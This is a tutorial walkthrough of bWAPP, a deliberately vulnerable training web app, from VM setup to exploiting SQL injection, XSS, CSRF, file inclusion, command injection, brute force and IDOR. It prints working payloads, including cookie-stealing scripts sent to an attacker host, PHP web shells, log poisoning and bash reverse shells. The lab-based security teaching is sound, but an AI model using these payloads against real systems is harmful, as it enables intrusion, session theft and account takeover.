bWAPP Walkthrough 2026: Complete Setup to Exploitation Guide
bWAPP Walkthrough 2026: Complete Setup to Exploitation Guide
bWAPP (Buggy Web Application) is one of the most comprehensive intentionally vulnerable web applications available for security training. This complete bWAPP walkthrough takes you from installation and environment configuration through hands-on exploitation of every major vulnerability class — with transferable techniques you can carry directly into bug bounty hunting and professional penetration testing engagements.
What Is bWAPP and Why Use It?
bWAPP, which stands for Buggy Web Application, is a free and open-source PHP application deliberately engineered to contain over 100 web vulnerabilities drawn directly from the OWASP Top 10 and beyond. It was created by Malik Mesellem as a comprehensive training environment for security professionals and students, and it covers a wider range of vulnerability types in a single application than almost any other intentionally vulnerable platform available.
What distinguishes bWAPP from alternatives such as DVWA (Damn Vulnerable Web Application) or WebGoat is its breadth. Where DVWA focuses primarily on a core set of approximately ten vulnerability classes, bWAPP includes vulnerabilities spanning HTML injection, SQL injection in multiple database contexts, XSS in reflected and stored and DOM-based forms, CSRF, broken authentication, insecure file uploads, XML injection, SSRF, clickjacking, session fixation, and dozens more. For practitioners who want a single environment that covers the full spectrum of web vulnerability classes encountered in real-world assessments and bug bounty programmes, bWAPP is unmatched in its comprehensiveness at no cost.
The application also offers three security levels — Low, Medium, and High — for each vulnerability. This tiered approach allows practitioners to first understand the vulnerability in its most exposed form, observe the protections introduced at medium and high levels, and then practise bypassing those protections. This mirrors the real-world experience of encountering a partially mitigated vulnerability and needing to find the weakness in the developer's defensive implementation — a skill that is directly applicable to professional engagements.
This walkthrough is structured to be used alongside bWAPP actively, not read passively. Each section explains what the vulnerability is, demonstrates the exploitation technique with concrete payloads and steps, and then explicitly maps those techniques to the real-world contexts in which they appear — on bug bounty programmes, in professional penetration tests, and in CTF challenges. The goal is not merely to understand how bWAPP works but to develop a methodology that transfers.
Setting Up bWAPP Safely
bWAPP must be run in an isolated environment. Because it is intentionally vulnerable, exposing it to an external network — including your home LAN — creates a genuine security risk. The correct deployment is within a virtual machine configured with a host-only network adapter, accessible only from your attack machine and completely isolated from external traffic. This section walks through both installation methods: the standalone LAMP stack installation and the recommended bee-box VM approach.
Method 1: bee-box (Recommended)
bee-box is a pre-configured virtual machine image distributed by the bWAPP project that contains a complete Ubuntu-based LAMP stack with bWAPP already installed, configured, and ready to use. It is the fastest and most reliable setup method and eliminates the dependency management issues that occasionally affect manual installations on different Linux distributions.
Download the bee-box OVA from the official SourceForge page at sourceforge.net/projects/bwapp. Import the OVA into VirtualBox or VMware using File > Import Appliance, set the network adapter to Host-Only, and boot the machine. The default credentials are bee / bug. Once booted, the bWAPP application is accessible from your attack machine's browser at the bee-box VM's host-only IP address on port 80.
# After importing and starting bee-box, find its IP from the VM console:
# Login: bee / bug
hostname -I
# From your Kali attack machine, verify connectivity:
ping <bee-box-ip>
# Access bWAPP in your browser:
# http://<bee-box-ip>/bWAPP/login.php
# Default bWAPP credentials: bee / bugMethod 2: Manual Installation on Kali Linux
If you prefer to run bWAPP directly on your Kali machine rather than importing a separate VM, a manual LAMP stack installation is straightforward. This method is useful if your host machine has limited RAM and cannot comfortably run two VMs simultaneously.
# Install LAMP stack on Kali Linux
sudo apt update && sudo apt install -y apache2 mariadb-server php php-mysql libapache2-mod-php
# Start services
sudo systemctl start apache2
sudo systemctl start mariadb
# Download bWAPP
cd /var/www/html
sudo wget https://sourceforge.net/projects/bwapp/files/bWAPP/bWAPP_latest.zip
sudo unzip bWAPP_latest.zip
sudo mv bWAPP bwapp
sudo chown -R www-data:www-data bwapp
sudo chmod -R 755 bwapp
# Configure the database connection
sudo nano /var/www/html/bwapp/admin/settings.php
# Set: $db_server = "localhost"; $db_username = "root"; $db_password = "";
# Create the bWAPP database
sudo mysql -u root -e "CREATE DATABASE bwapp;"
# Run the bWAPP installer in your browser:
# http://localhost/bwapp/install.php
# Click "here" to install the database, then log in with bee / bugConfiguring Your Attack Environment
Before beginning exploitation exercises, configure Burp Suite Community Edition as a proxy between your browser and bWAPP. This allows you to intercept, inspect, and modify every HTTP request — an essential capability for understanding how each vulnerability works at the protocol level rather than merely at the surface of the browser interface.
# In Burp Suite: Proxy > Options > set listener to 127.0.0.1:8080
# In Firefox: Preferences > Network > Manual Proxy > HTTP: 127.0.0.1 Port: 8080
# Install the Burp CA certificate to intercept HTTPS:
# Navigate to http://burp in Firefox while proxy is active
# Download and install the certificate under Firefox certificate manager
# Verify interception is working:
# Enable Intercept in Burp > Proxy > Intercept
# Load bWAPP login page — request should appear in BurpNavigating the bWAPP Interface
Once logged in with the credentials bee / bug, the bWAPP home page presents a dropdown menu containing all available vulnerability exercises organised by the OWASP Top 10 category. The security level selector in the top-right corner allows you to toggle between Low, Medium, and High for any exercise — begin every vulnerability at Low to understand the raw, unprotected attack surface, then progress through Medium and High to understand and bypass the defensive controls introduced at each level.
The page structure for each exercise is consistent: a brief description of the vulnerability type, an input field or interactive element that demonstrates it, and often a hint link that reveals the intended attack vector. Resist the habit of reading hints immediately — attempting each exercise independently before consulting hints develops the analytical methodology that distinguishes capable practitioners from those who can only follow instructions.
Keep Burp Suite's HTTP History tab open throughout your practice sessions. Reviewing the raw HTTP requests and responses for every exercise — even those that appear straightforward in the browser — builds the habit of thinking at the protocol level rather than the interface level, which is the perspective that experienced penetration testers and bug hunters operate from consistently.
SQL Injection Exploitation
Navigate to: A1 - Injection > SQL Injection (GET/Search)
SQL injection occurs when user-supplied input is incorporated into a database query without adequate sanitisation, allowing an attacker to manipulate the query's logic. In bWAPP's search exercise, the search field passes its value directly into a SQL SELECT statement. At security level Low, no sanitisation is applied.
Step 1: Confirm Injection Point
Enter a single quote in the search field and submit. An SQL error message confirms that the input is being interpreted by the database engine rather than treated as a string literal — the fundamental confirmation of an injectable parameter.
' -- confirmation payload (note the space after --)
-- Expected: MySQL syntax error visible in response, confirming injectionStep 2: Determine Column Count with ORDER BY
' ORDER BY 1-- - (no error)
' ORDER BY 2-- - (no error)
' ORDER BY 3-- - (no error)
' ORDER BY 4-- - (no error)
' ORDER BY 5-- - (no error)
' ORDER BY 6-- - (no error)
' ORDER BY 7-- - (ERROR = 6 columns confirmed)Step 3: UNION SELECT to Extract Data
' UNION SELECT 1,2,3,4,5,6-- -
-- Identify which column numbers appear in the response output
' UNION SELECT 1,user(),database(),version(),5,6-- -
-- Extracts: current DB user, database name, MySQL version
' UNION SELECT 1,table_name,3,4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -
-- Lists all tables in the bWAPP database
' UNION SELECT 1,login,password,email,5,6 FROM users-- -
-- Dumps usernames, password hashes, and emails from the users tableStep 4: Crack the Hash
# The passwords are stored as SHA-1 hashes
# Use hashcat to crack offline:
hashcat -m 100 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
# Or identify and crack with john:
john --format=raw-sha1 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txtStep 5: Practice sqlmap for Automation
# Automated SQL injection with sqlmap (for learning tool usage only)
sqlmap -u "http://<bee-box-ip>/bWAPP/sqli_1.php?title=test&action=search" \
--cookie="PHPSESSID=<your-session-id>;security_level=0" \
--dbs
# Dump the bWAPP database
sqlmap -u "http://<bee-box-ip>/bWAPP/sqli_1.php?title=test&action=search" \
--cookie="PHPSESSID=<your-session-id>;security_level=0" \
-D bwapp --tables
sqlmap -u "http://<bee-box-ip>/bWAPP/sqli_1.php?title=test&action=search" \
--cookie="PHPSESSID=<your-session-id>;security_level=0" \
-D bwapp -T users --dumpCross-Site Scripting (XSS)
Navigate to: A3 - XSS > Cross-Site Scripting - Reflected (GET)
Cross-site scripting occurs when user-supplied input is reflected into a page response without encoding, allowing injected JavaScript to execute in the victim's browser. bWAPP provides exercises covering reflected, stored, and DOM-based XSS — work through all three, as they require different detection and exploitation approaches.
Reflected XSS
-- Basic confirmation payload:
<script>alert('XSS')</script>
-- If angle brackets are filtered, try event handlers:
" onmouseover="alert('XSS')
" onfocus="alert('XSS')" autofocus="
-- Cookie theft payload (replace attacker-server with your listener IP):
<script>document.location='http://attacker-server/?c='+document.cookie</script>
-- Test with encoded variants if basic payloads are blocked:
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>Stored XSS
Navigate to XSS - Stored (Blog). Unlike reflected XSS where the payload is in the URL, stored XSS persists in the database and executes for every user who views the affected page — making it significantly higher severity. Submit the following payload into the blog entry field.
-- Stored XSS payload — executes for every visitor to the blog page:
<script>alert('Stored XSS - executes for all users')</script>
-- Credential harvesting payload (replace URL with your server):
<script>
var i = new Image();
i.src = "http://<attacker-ip>/log?cookie=" + encodeURIComponent(document.cookie);
</script>
-- On your Kali machine, listen for incoming cookie data:
# python3 -m http.server 80DOM-Based XSS
Navigate to XSS - DOM Based. DOM-based XSS differs from reflected and stored variants in that the payload never passes through the server — it is processed entirely by the browser's JavaScript engine reading from a DOM source such as location.hash or document.URL. This makes it invisible to server-side WAFs and scanners that only inspect HTTP responses.
-- Inject via the URL fragment or parameter feeding the DOM sink:
http://<bee-box-ip>/bWAPP/xss_dom_1.php?language=<script>alert('DOM XSS')</script>
-- If the parameter is reflected via innerHTML, use:
<img src=x onerror=alert('DOM XSS')>Cross-Site Request Forgery (CSRF)
Navigate to: A8 - CSRF > Cross-Site Request Forgery (Change Password)
CSRF exploits the trust a web application places in authenticated user sessions. A malicious page hosted externally can cause a victim's browser — which already holds a valid session cookie for the target application — to send authenticated requests to that application without the victim's knowledge or consent. The most common targets are state-changing actions: password changes, email updates, fund transfers, and settings modifications.
Step 1: Analyse the Legitimate Request
Use Burp Suite to intercept the legitimate password-change request. Observe that at security level Low, there is no CSRF token — no unpredictable value tied to the user's session that an attacker could not replicate.
Step 2: Craft the Malicious CSRF Page
<!-- Save as csrf_attack.html and serve from your Kali machine -->
<!-- python3 -m http.server 8888 in the directory containing the file -->
<html>
<body onload="document.csrf_form.submit()">
<form name="csrf_form"
action="http://<bee-box-ip>/bWAPP/csrf_1.php"
method="GET">
<input type="hidden" name="password_new" value="hacked123" />
<input type="hidden" name="password_conf" value="hacked123" />
<input type="hidden" name="action" value="change" />
</form>
<p>Loading...</p>
</body>
</html>When the victim (logged into bWAPP) visits this page, the form auto-submits and their password is silently changed to hacked123. Observe in Burp that the request carries the victim's session cookie automatically — the browser attaches it without any action from the attacker.
SameSite cookie attribute is set correctly. A CSRF token that is present but not validated is functionally equivalent to no token at all — a nuance that automated scanners frequently miss.
File Inclusion Vulnerabilities (LFI / RFI)
Navigate to: A1 - Injection > Local File Inclusion and Remote File Inclusion
File inclusion vulnerabilities occur when a PHP application dynamically includes files based on user-controlled input without adequate validation. Local File Inclusion (LFI) allows an attacker to read files from the server's filesystem. Remote File Inclusion (RFI) — when allow_url_include is enabled — allows inclusion of files hosted on an external server, which in practice means remote code execution.
Local File Inclusion
-- Basic LFI — read /etc/passwd:
http://<bee-box-ip>/bWAPP/rlfi.php?language=../../../etc/passwd
-- Directory traversal with deeper paths if shallow paths are blocked:
http://<bee-box-ip>/bWAPP/rlfi.php?language=../../../../etc/passwd
-- Useful Linux files to read via LFI on real targets:
/etc/passwd -- User accounts
/etc/shadow -- Password hashes (requires root)
/etc/hosts -- Internal network hostnames
/proc/self/environ -- Environment variables (may contain credentials)
/var/log/apache2/access.log -- Apache access log (useful for log poisoning)
~/.bash_history -- Command history
/var/www/html/config.php -- Application configuration (credentials)LFI to Remote Code Execution via Log Poisoning
-- Step 1: Inject PHP code into Apache access log via User-Agent header
curl -A "<?php system(\$_GET['cmd']); ?>" http://<bee-box-ip>/
-- Step 2: Include the poisoned log file via LFI and execute commands
http://<bee-box-ip>/bWAPP/rlfi.php?language=../../../var/log/apache2/access.log&cmd=id
-- Step 3: Establish a reverse shell
-- On your Kali machine, start a listener:
nc -lvnp 4444
-- Via the cmd parameter, execute a reverse shell one-liner:
http://<bee-box-ip>/bWAPP/rlfi.php?language=../../../var/log/apache2/access.log&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<kali-ip>/4444+0>%261'Remote File Inclusion
-- Create a malicious PHP file on your Kali machine:
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
cd /tmp && python3 -m http.server 80
-- Include it remotely via the vulnerable parameter:
http://<bee-box-ip>/bWAPP/rlfi.php?language=http://<kali-ip>/shell.php&cmd=id
http://<bee-box-ip>/bWAPP/rlfi.php?language=http://<kali-ip>/shell.php&cmd=whoami
http://<bee-box-ip>/bWAPP/rlfi.php?language=http://<kali-ip>/shell.php&cmd=cat+/etc/passwdpage=, file=, template=, or lang= to dynamically load content. On real assessments, the path from LFI to RCE via log poisoning is a well-established technique when direct RFI is disabled. On bug bounty targets, LFI that reads /etc/passwd is typically rated P3; LFI achieving code execution escalates to P1. Always attempt to demonstrate impact beyond the initial read — it substantially affects payout.
OS Command Injection
Navigate to: A1 - Injection > OS Command Injection
OS command injection occurs when user input is passed unsanitised to a system shell function — exec(), system(), shell_exec(), or backtick execution in PHP. bWAPP's DNS lookup exercise passes the user-supplied hostname directly into a shell command, allowing injection of additional commands using standard shell metacharacters.
-- Basic injection using semicolon to chain commands:
127.0.0.1; id
127.0.0.1; whoami
127.0.0.1; uname -a
-- Using && (second command runs only if first succeeds):
127.0.0.1 && cat /etc/passwd
-- Using | (pipe — first command output fed to second):
127.0.0.1 | id
-- Using || (second command runs only if first fails):
nonexistent || id
-- List running processes and network connections:
127.0.0.1; ps aux
127.0.0.1; netstat -an
-- Establish a reverse shell (start nc listener first on Kali):
# nc -lvnp 4444
127.0.0.1; bash -c 'bash -i >& /dev/tcp/<kali-ip>/4444 0>&1'
-- If spaces are filtered, use ${IFS} as a separator:
127.0.0.1;cat${IFS}/etc/passwdBroken Authentication and Session Management
Navigate to: A2 - Broken Authentication > Insecure Login Forms and Session Management - Administrative Portals
Broken authentication vulnerabilities encompass a range of weaknesses: predictable session tokens, lack of account lockout enabling brute force, session fixation, insecure session cookie attributes, and insecure credential transmission. bWAPP provides exercises covering several of these — work through each to understand the full attack surface.
Credential Brute Force with Hydra
# Hydra HTTP form brute force against bWAPP login
# First, intercept the login request in Burp to identify field names
# Example: login=bee&password=bug&security_level=0&form=submit
hydra -l bee -P /usr/share/wordlists/rockyou.txt \
<bee-box-ip> http-post-form \
"/bWAPP/login.php:login=^USER^&password=^PASS^&security_level=0&form=submit:Invalid credentials"
# The string after the final colon is the failure string —
# Hydra identifies successful logins by its absence in the responseSession Token Analysis
# Use Burp Sequencer to analyse session token entropy
# In Burp: Proxy > HTTP History > find a login response with Set-Cookie
# Right-click the response > Send to Sequencer
# In Sequencer: set the token location to the PHPSESSID cookie value
# Start live capture — Burp will analyse randomness across multiple tokens
# Manually inspect cookies for security attributes in browser DevTools:
# Application > Cookies — check for:
# HttpOnly flag (prevents JS access)
# Secure flag (HTTPS only)
# SameSite attribute (CSRF protection)
# Expiry (session vs persistent)HttpOnly, Secure, and SameSite attributes — these are low-effort checks that frequently yield valid, if lower-severity, findings on production applications.
Insecure Direct Object References (IDOR)
Navigate to: A4 - Insecure Direct Object References > IDOR (Change Secret)
IDOR vulnerabilities occur when an application exposes a reference to an internal object — a database record ID, a filename, a user identifier — and fails to verify that the requesting user is authorised to access that specific object. They are among the most consistently reported and highly rewarded vulnerability classes on bug bounty platforms because they are conceptually simple, easy to demonstrate impact with, and appear in virtually every application that manages user-specific data.
Step 1: Understand the Baseline Request
Log in as the bee user and navigate to the Change Secret exercise. Intercept the form submission in Burp Suite. Observe that the request contains a parameter identifying the user whose secret is being changed — typically a numeric ID or username passed as a hidden field or URL parameter.
Step 2: Manipulate the Object Reference
-- In Burp Repeater, modify the user identifier parameter
-- Original request (bee's own record):
POST /bWAPP/idor_1.php
login=bee&secret=my+new+secret&action=change
-- Modified request (targeting another user's record by changing login value):
POST /bWAPP/idor_1.php
login=admin&secret=compromised&action=change
-- If the ID is numeric, iterate through sequential values:
-- id=1 (original user)
-- id=2, id=3, id=4... (other users' records)
-- Automate sequential ID enumeration with Burp Intruder:
-- Send the request to Intruder
-- Mark the ID value as the injection position
-- Set payload type: Numbers, range 1-100, step 1
-- Start attack and filter responses by Content-Length or response differencesHorizontal vs Vertical IDOR
Horizontal IDOR allows access to another user's data at the same privilege level — for example, user 42 accessing user 43's private messages. Vertical IDOR allows privilege escalation — a regular user accessing an administrator's records or performing admin-only actions. Both are valuable findings; vertical IDOR typically commands higher severity ratings.
Transferring These Skills to Real Targets
Proficiency in bWAPP is a means to an end, not an end in itself. The intentionally obvious vulnerability presentations in a practice environment do not mirror the subtlety of real-world applications, where the same vulnerability classes appear in more obscure forms, behind additional controls, and in contexts that require inference rather than explicit identification. The following principles govern the transition from practice environment to live target effectively.
Develop a consistent testing methodology, not a checklist. Experienced hunters and penetration testers approach targets with a structured mental model rather than a sequential list of tests to run. For every input, they ask: where does this data go? Is it reflected? Is it stored? Is it included in a query? Is it passed to a shell? Developing this habit in bWAPP — using Burp Suite to understand what happens at the HTTP layer for every action — builds the analytical instinct that makes real-target testing productive.
Use bWAPP's security levels actively. After exploiting a vulnerability at Low, increase the security level and attempt to bypass the implemented protection. Medium level typically introduces basic input filtering or output encoding; High level introduces more robust controls. Understanding why the Medium-level filter can be bypassed — and why the High-level control prevents bypass — builds defensive intuition alongside offensive skill, which is a meaningful differentiator in professional contexts.
Document everything as if writing a bug report. For every vulnerability exploited in bWAPP, write a brief report: vulnerability type, affected parameter, reproduction steps, impact, and remediation recommendation. This habit directly transfers to the quality of bug bounty submissions and professional penetration test reports. The practitioners who earn the highest rewards from bug bounty platforms are those who can clearly articulate impact — a skill that requires deliberate development alongside the technical exploitation capability.
Progress to live practice platforms. After completing bWAPP, the natural progression is to the platforms covered in our ethical hacking income guide — PortSwigger Web Security Academy for deeper web vulnerability training, Hack The Box and TryHackMe for broader offensive security practice, and ultimately HackerOne or Bugcrowd for live bug bounty programmes. The skills practised in bWAPP are directly applicable; the difference is context, subtlety, and the addition of real defensive controls that require creative bypass approaches rather than straightforward payload submission.
Common Mistakes in bWAPP Practice
Rushing through exercises without understanding the underlying mechanism. The goal of bWAPP practice is not to complete every exercise as quickly as possible but to develop a genuine understanding of why each vulnerability exists and how the exploitation technique works at the level of the HTTP request and the server-side code. Practitioners who race through exercises using copy-pasted payloads without understanding them will find that real targets — which rarely present vulnerabilities in the same obvious form — are significantly harder than expected.
Ignoring the High security level. The majority of practitioners spend their time at security level Low and move on when a payload works. The most valuable learning in bWAPP happens at Medium and High, where you must understand what filtering or encoding has been introduced and find a way around it. Real targets operate at their equivalent of Medium or High — encountering filter bypass for the first time on a live bug bounty target rather than in a practice environment significantly limits your effectiveness.
Not using Burp Suite as the primary lens. Clicking through bWAPP exercises in a browser without intercepting requests in Burp Suite misses the most important dimension of the learning — the HTTP protocol layer at which vulnerabilities are actually exploited and understood. Every exercise should be accompanied by Burp Suite open and actively capturing traffic.
Skipping vulnerability classes that seem unimportant. File inclusion, XXE, and SSRF exercises in bWAPP may seem less immediately relevant than SQL injection or XSS, but they represent vulnerability classes that appear regularly on real targets and are consistently underrepresented in the skills of junior practitioners. The breadth of bWAPP is a feature — use it fully rather than focusing exclusively on the most familiar vulnerability types.
Frequently Asked Questions
Is bWAPP better than DVWA for beginners?
bWAPP and DVWA serve complementary purposes rather than being direct substitutes. DVWA is more focused and more beginner-accessible — it covers fewer vulnerability classes with more guidance, which makes it an appropriate first intentionally vulnerable application. bWAPP is significantly broader, covering over 100 vulnerability types, and is better suited to practitioners who have already worked through DVWA and want comprehensive exposure to a wider range of vulnerability classes. For most practitioners, DVWA makes an effective introduction and bWAPP an effective progression.
Can I practice bWAPP exploits on a live internet connection?
No. bWAPP must be run in a completely isolated virtual machine environment with no exposure to external networks. Running bWAPP on a machine connected to the internet — or on a network shared with other devices — creates a genuine security risk, as the application is deliberately vulnerable and any device that can reach it can exploit it. The host-only virtual network configuration described in the setup section is non-negotiable for safe practice.
What tools do I need alongside bWAPP?
Burp Suite Community Edition is the essential tool for working through bWAPP — it provides the HTTP interception, request manipulation, and automated scanning capabilities that are central to understanding how each vulnerability works at the protocol level. Beyond Burp Suite, a standard Kali Linux installation provides all the other tools referenced in this walkthrough: sqlmap, Hydra, Netcat, curl, and Hashcat. No additional tool installations are required for the exercises covered above.
How long does it take to complete bWAPP?
A practitioner working through every exercise methodically — exploiting each vulnerability at Low, Medium, and High security levels, using Burp Suite throughout, and documenting findings in the form of brief reports — should expect to spend between four and eight weeks at a pace of ten hours per week. Rushing through at a lower level of engagement can be done more quickly, but the depth of learning is substantially reduced. The investment of time in methodical practice produces proportionally better returns when transitioning to real targets.
Are the bWAPP skills applicable to mobile app security testing?
The web-specific techniques covered here — SQL injection, XSS, CSRF, IDOR, and command injection — apply directly to the web API backends that mobile applications communicate with, which frequently contain the same vulnerability classes. Mobile application security additionally requires platform-specific knowledge of Android or iOS internals, but the web layer skills developed in bWAPP form a meaningful component of mobile security testing capability, particularly for backend API assessments.
Conclusion
bWAPP provides one of the most comprehensive and cost-effective web security training environments available, and the vulnerability classes it covers — SQL injection, XSS, CSRF, file inclusion, command injection, broken authentication, and IDOR — represent the core of what appears consistently in real-world penetration testing engagements and bug bounty programmes. The techniques demonstrated in this walkthrough are not academic exercises; they are the same techniques used by professional practitioners on live targets every day.
The distinguishing factor between practitioners who use bWAPP productively and those who do not is the depth of engagement. Working through Burp Suite, understanding what happens at the HTTP layer, exploiting at all three security levels, and documenting findings as professional reports transforms bWAPP from a series of exercises into a genuine methodology-building experience. That methodology — the systematic approach to identifying and demonstrating the impact of web vulnerabilities — is what transfers to real targets, regardless of the specific application or technology stack encountered.
From here, the natural progression is to PortSwigger Web Security Academy for deeper theoretical grounding, Hack The Box and TryHackMe for broader offensive practice across network and infrastructure contexts, and ultimately to live bug bounty programmes on HackerOne, Bugcrowd, or Intigriti for real-world application of everything covered here. The foundation you have built in bWAPP makes each of those steps significantly more productive than beginning them without it.
Share this walkthrough with someone beginning their web security journey, bookmark it as a reference as you work through each exercise, and explore the rest of Verxio for comprehensive coverage of ethical hacking tools, Linux fundamentals, and cybersecurity career development.
.jpg)